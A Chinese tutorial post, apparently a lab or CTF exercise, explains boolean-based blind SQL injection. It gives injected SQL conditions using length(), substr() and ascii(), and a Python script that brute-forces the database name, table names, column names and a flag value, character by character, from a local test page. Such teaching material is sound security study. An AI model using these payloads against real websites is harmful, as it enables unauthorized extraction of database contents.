布尔盲注步骤

使用场景:

在没有数据回显 的情况下,是不显示具体内容,但会显示有结果或没结果的一种二分的方式(例如:显示用户名或密码错误)

通常逐个爆破猜解,效率偏低

思路:利用回显的不同,推测sql语句执行的结果是true还是false

在and后的判断条件稍作更改

例: select * from users where id='1' and (select length(database())=1)#

过程:

获取数据库名的具体信息:

复制代码
left(a,b)从左侧截取 a 的前 b 位:left(select database(),1)>'s'

substr(a,b,c)从b位置开始,截取字符串a的c长度

mid(a,b,c)从位置b开始,截取a字符串的c位

ascii()将某个字符转换为ascii值:ascii(substr(user),1,1))=101"#

脚本

python 复制代码
import requests
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='answer'),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(group_concat(flag) from answer),%s,1))=%d--+"
result = ""

for i in range(1,100):
    for j in range(33,127):
        payload = url%(i,j)
        s = requests.get(url=payload)
        if "查询" in s.text:
            result += chr(j)
            print(result)
            break
print(result)

**
i代表依次从1-100位,遍历所得结果字符串的第i位
j从33-127包含了ascii中所有可见字符,代表逐个比对判断第n个字符是哪个字符
url%(i,j)其中%代表将()中的字符替换到url表达式的占位符中
requests.get 使用requests库中的get方法,发送get请求到url中
chr()函数将ascii码字符转换成字符串
相关推荐
五岳6 小时前
分库分表数据源ShardingSphereDataSource的Connection元数据误用问题分析
java·mysql·爬坑
悄悄敲敲敲6 小时前
MySQL表的约束
数据库·mysql
鼠爷ねずみ6 小时前
SpringCloud前后端整体开发流程-以及技术总结文章实时更新中
java·数据库·后端·spring·spring cloud
九皇叔叔7 小时前
MySQL 数据库 Read View 详解
数据库·mysql·mvcc·read view
Elastic 中国社区官方博客8 小时前
Elasticsearch:圣诞晚餐 BBQ - 图像识别
大数据·数据库·elasticsearch·搜索引擎·ai·全文检索
cui_win8 小时前
Prometheus实战教程 - Redis 监控
数据库·redis·prometheus
JIngJaneIL9 小时前
基于java + vue个人博客系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot
TG:@yunlaoda360 云老大9 小时前
华为云国际站代理商备份策略设置过程中遇到问题如何解决?
服务器·数据库·华为云
SelectDB9 小时前
Doris Catalog 已上线!性能提升 200x,全面优于 JDBC Catalog,跨集群查询迈入高性能分析时代
数据库·数据分析·apache
TAEHENGV9 小时前
进度跟踪模块 Cordova 与 OpenHarmony 混合开发实战
android·javascript·数据库